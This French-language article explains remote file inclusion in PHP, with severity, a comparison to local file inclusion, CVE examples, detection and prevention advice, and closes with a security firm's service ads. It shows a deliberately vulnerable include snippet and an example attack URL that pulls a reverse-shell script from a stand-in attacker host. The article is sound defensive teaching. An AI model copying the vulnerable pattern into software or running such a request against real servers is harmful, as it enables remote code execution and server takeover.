Qu’est-ce que l’inclusion de fichiers à distance ?
L’inclusion de fichiers à distance (RFI) est une vulnérabilité Web qui permet à un pirate malveillant de forcer l’application à inclure des fichiers de code arbitraires importés d’un autre emplacement, par exemple, un serveur contrôlé par l’attaquant.
Gravité: | très sévère | |
Prévalence: | découvert très rarement | |
Portée: | apparaît principalement dans les anciennes versions de PHP | |
Impact technique : | exécution de code à distance | |
Conséquences dans le pire des cas : | compromis complet du système | |
Solution rapide: | désactiver l’inclusion à distance dans les paramètres du serveur Web |
Comment fonctionne l’inclusion de fichiers à distance ?
De nombreux langages de programmation, y compris ceux utilisés côté serveur pour développer des applications Web, permettent au développeur d’inclure le code source d’autres fichiers. Certaines fonctions utilisées pour inclure le code source permettent uniquement d’inclure des fichiers locaux, mais dans certaines langues, elles permettent également l’inclusion par URL. Ceci est utile pour inclure, par exemple, des fichiers de code source situés sur d’autres serveurs dans une application multiserveur complexe.
Cette inclusion est souvent statique, c’est-à-dire que l’URL du fichier est définie dans le code source et ne peut pas être modifiée. Cependant, dans certaines applications, le développeur peut souhaiter inclure dynamiquement un fichier à partir d’un emplacement distant. Si tel est le cas, l’URL du fichier distant peut être transmise dans un paramètre d’entrée utilisateur.
Les vulnérabilités d’inclusion de fichiers distants se produisent lorsqu’un acteur malveillant peut modifier l’entrée de l’utilisateur pour inclure ses propres fichiers distants. Cette vulnérabilité se produit le plus souvent dans les applications et les API écrites dans les anciennes versions de PHP avec l’ expression include . Dans le cas d’autres langages de programmation d’applications Web courants, l’inclusion de fichiers de la même manière nécessite des constructions de programmation beaucoup plus complexes.
Notez que la possibilité d’inclure des fichiers distants est obsolète depuis PHP 7.4.0, publié en novembre 2019.
Inclusion de fichiers distants vs inclusion de fichiers locaux
Si l’attaquant ne peut inclure un fichier malveillant qu’à partir du même serveur, il s’agit d’une vulnérabilité d’inclusion de fichier local (LFI) . Les vulnérabilités LFI sont beaucoup plus courantes pour plusieurs raisons :
- LFI inclut non seulement les cas où le développeur inclut un fichier de code source, mais tous les cas où l’attaquant peut accéder à un fichier local auquel il ne devrait pas pouvoir accéder.
- LFI se produit dans la plupart des langages de programmation Web, pas seulement PHP, car d’autres langages permettent également aux développeurs d’ouvrir et/ou d’inclure des fichiers locaux.
- Les développeurs ont souvent besoin d’inclure du code source local ou de lire et d’afficher le contenu de fichiers locaux, ce qui peut entraîner une LFI. Ils ont rarement besoin d’inclure des codes sources provenant d’emplacements distants, ce qui est nécessaire pour RFI.
L’inclusion de fichiers locaux va souvent de pair avec la traversée de répertoires . RFI, d’autre part, par définition, ne peut pas conduire à une traversée de répertoire car le fichier est inclus par URL, et non par chemin/nom de fichier.
Vous pouvez également considérer RFI comme une attaque similaire au cross-site scripting . Dans les deux cas, une application vulnérable prend du code non fiable d’une source externe et l’exécute. Cependant, dans le cas de RFI, les attaquants abusent du include
mécanisme PHP au lieu d’une balise.
Exemple d’attaque par inclusion de fichiers à distance
Vous trouverez ci-dessous un exemple de code PHP avec une vulnérabilité d’inclusion de fichier distant, ainsi qu’un vecteur d’attaque sur une application qui inclut ce code.
Le développeur d’une application PHP souhaite inclure un fichier de code source d’un autre serveur, mais le fichier inclus n’est pas statique. Ce qui suit est un extrait de code du fichier index.php .
$module = $_GET["module"];
include $module;
?>
Le serveur exécute PHP 7.3.33. Le fichier php.ini inclut le paramètre de configuration suivant :
allow_url_include = On
Ce paramètre (obsolète dans PHP 7.4.0) signifie que l’ expression include peut analyser une URL et inclure un fichier à partir de cette URL.
L’URL est extraite directement de la requête HTTP GET, vous pouvez donc inclure le module http://server2.example.com/welcome.php comme suit :
http://example.com/index.php?module=http://server2.example.com/welcome.php
Le vecteur d’attaque
L’attaquant manipule la requête GET envoyée à index.php pour inclure une URL avec un script pentest monkey reverse shell configuré pour se connecter à un serveur contrôlé par l’attaquant :
http://example.com/index.php?module=http://attacker.example2.com/php-reverse-shell.php
En conséquence, l’application exécute le code du reverse shell ( exécution de code à distance ), accordant à l’attaquant un accès à distance à la ligne de commande du serveur.
Conséquences potentielles d’une attaque par inclusion de fichiers à distance
Comme vous pouvez le voir dans les exemples ci-dessus, les vulnérabilités d’inclusion de fichiers distants peuvent conduire à l’exécution de code à distance et, par conséquent, l’attaquant pourrait prendre le contrôle complet du serveur. Cependant, le code inclus a les mêmes autorisations d’exécution que l’utilisateur du serveur Web, de sorte que ses droits d’accès sont limités.
Lors d’une attaque RFI, les cybercriminels peuvent utiliser n’importe quel code malveillant. Ainsi, en fonction de leurs intentions, ils peuvent essayer de faire passer la RFI à l’un des scénarios de cyberattaque suivants :
- Ransomware ou autre malware : l’attaquant peut intensifier l’attaque pour télécharger un agent de ransomware sur la machine. Cela utilisera ensuite d’autres méthodes pour se propager à d’autres actifs appartenant à la victime.
- Extraction de crypto-monnaie : les attaquants installent souvent des mineurs de crypto-monnaie sur des machines compromises. L’exploitation minière consomme vos ressources informatiques pour fournir aux cybercriminels un financement pour des activités plus malveillantes.
- Vol de données sensibles : l’attaquant peut intensifier l’attaque et voler les informations d’identification pour accéder aux serveurs de base de données SQL contenant des informations sensibles telles que les numéros de carte de crédit.
- Porte dérobée : L’attaquant peut installer une porte dérobée à long terme sur le système de la victime et l’utiliser, par exemple, pour surveiller les activités commerciales de la victime.
Exemples de vulnérabilités connues d’inclusion de fichiers distants
Voici quelques exemples d’applications Web open source courantes présentant une vulnérabilité d’inclusion de fichiers à distance :
- CVE-2018-16283 : Dans le passé, plusieurs plugins WordPress présentaient des vulnérabilités RFI, l’une des plus récentes étant le plugin Wechat Broadcast 1.2.0.
- CVE-2014-7228 : Le cœur de Joomla a connu plusieurs fois des vulnérabilités RFI, le cas le plus récent impliquant Joomla 2.5.4 à 2.5.25, 3.2.5 et versions antérieures, et 3.3.0 à 3.3.4.
Comment détecter les vulnérabilités d’inclusion de fichiers distants ?
La meilleure façon de détecter les vulnérabilités d’inclusion de fichiers distants dépend de si elles sont déjà connues ou inconnues.
- Si vous n’utilisez que des logiciels commerciaux ou open source et que vous ne développez pas de logiciels vous-même, vous trouverez peut-être qu’il suffit d’identifier la version exacte du système ou de l’application que vous utilisez. Si la version identifiée est vulnérable à l’inclusion de fichiers distants, vous pouvez supposer que vous êtes sensible à cette vulnérabilité d’inclusion de fichiers distants. Vous pouvez identifier la version manuellement ou utiliser un outil de sécurité approprié, tel qu’un logiciel d’analyse de la composition logicielle (SCA) dans le cas d’applications Web ou un analyseur de réseau dans le cas de systèmes et d’applications en réseau.Si vous développez votre propre logiciel ou souhaitez potentiellement trouver des vulnérabilités d’inclusion de fichiers à distance inconnues (jours zéro) dans des applications connues, vous devez être en mesure d’exploiter avec succès la vulnérabilité d’inclusion de fichiers à distance pour être certain qu’elle existe. Dans de tels cas, vous devez soit effectuer des tests d’intrusion manuels avec l’aide de chercheurs en sécurité ou de testeurs d’intrusion, soit utiliser un outil de test de sécurité des applications (scanner de vulnérabilité Web) qui peut exploiter automatiquement les vulnérabilités.
Comment prévenir les vulnérabilités d’inclusion de fichiers à distance dans les applications Web ?
Il existe plusieurs méthodes qui vous permettent d’empêcher les vulnérabilités d’inclusion de fichiers distants dans votre code :
- Évitez complètement d’utiliser l’entrée utilisateur dans les expressions d’inclusion. Cela signifie non seulement les URL provenant de l’entrée directe de l’utilisateur telles que les paramètres HTTP GET/POST, mais également d’autres sources de données qui peuvent être manipulées par l’attaquant, par exemple, les cookies et les en-têtes.
- Si votre application vous oblige à utiliser des inclusions dynamiques et qu’il n’y a aucun moyen de contourner cela, créez une liste blanche de fichiers sûrs.
Remarque : Ne vous fiez pas aux listes noires, au codage ou aux méthodes de validation/nettoyage des entrées telles que le filtrage pour empêcher l’inclusion de fichiers distants. Par exemple, n’essayez pas de limiter ou d’imposer des extensions de fichiers ou de bloquer des séquences de caractères spéciaux. Les attaquants ont de nombreuses façons de contourner ces filtres.
Comment atténuer les attaques par inclusion de fichiers à distance ?
Il existe deux manières très efficaces d’atténuer les attaques par inclusion de fichiers distants en PHP :
- Demandez à votre administrateur de serveur Web de mettre à niveau PHP vers la version 7.4.0 ou plus récente, ou
- Demandez à votre administrateur de serveur Web d’ajouter la directive
allow_url_include = Off
au fichier php.ini .
Cela rendra impossible l’inclusion de fichiers à distance, peu importe si les applications exécutées sur le serveur Web sont des applications personnalisées écrites par vos développeurs ou des applications tierces/open source. Cependant, cela peut empêcher certaines applications héritées de fonctionner.
L’inclusion de fichiers à distance (RFI) est une vulnérabilité Web qui permet à un pirate malveillant de forcer l’application à inclure des fichiers de code arbitraires importés d’un autre emplacement, par exemple, un serveur contrôlé par l’attaquant. C’est similaire à l’inclusion de fichiers locaux.
Les vulnérabilités d’inclusion de fichiers distants peuvent conduire à l’exécution de code à distance et, par conséquent, l’attaquant pourrait prendre le contrôle complet du serveur. Cependant, le code inclus a les mêmes autorisations d’exécution que l’utilisateur du serveur Web, de sorte que ses droits d’accès sont limités.
Pour éviter les RFI et de nombreuses autres vulnérabilités, suivez des habitudes de programmation sécurisées et ne faites jamais confiance aux entrées de l’utilisateur. Si vous devez inclure des fichiers distants, utilisez une liste blanche de noms et d’emplacements de fichiers sûrs.
Classification | IDENTIFIANT |
---|---|
CAPEC | 193 |
CWE | 98 |
WASC | 5 |
OWASP 2021 | A1 |
Nos Services en Cybersécurité
Protégez-vous maintenant !
Forfait Évaluation de la surface d’attaque
La cible de cette évaluation de la surface d’attaque est les ressources réseau, les systèmes et les terminaux. Il n’y a pas de ciblage des membres ou des employés des organisations à des fins d’ingénierie sociale.
Forfait Évaluation de la vulnérabilité
Nous sommes en mesure de fournir des évaluations de vulnérabilité des applications web , des serveurs connectés à Internet et des gammes de réseaux connectés à Internet .
Analyse de vulnérabilité
Cycuri propose des analyses de vulnérabilité ponctuelles ou régulières de votre périmètre externe, de vos applications Web ou de votre réseau interne.
Forfait Évaluation WordPress
Nos services d’évaluation WordPress professionnelle sont populaires auprès de tous ceux qui souhaitent un examen par un tiers indépendant de leur posture de sécurité.
Test d’intrusion d’application Web
Que votre application Web soit destinée aux employés, B2B ou B2C, il existe un niveau de confiance inhérent qui est supposé lorsque les utilisateurs sont autorisés à entrer, naviguer et utiliser des applications et/ou des portails d’applications.
Test d’intrusion Black-Box externe
Un test d’intrusion externe Black-Box imite les actions d’un adversaire réel en tentant d’exploiter les faiblesses de la sécurité du réseau sans les dangers d’une menace réelle.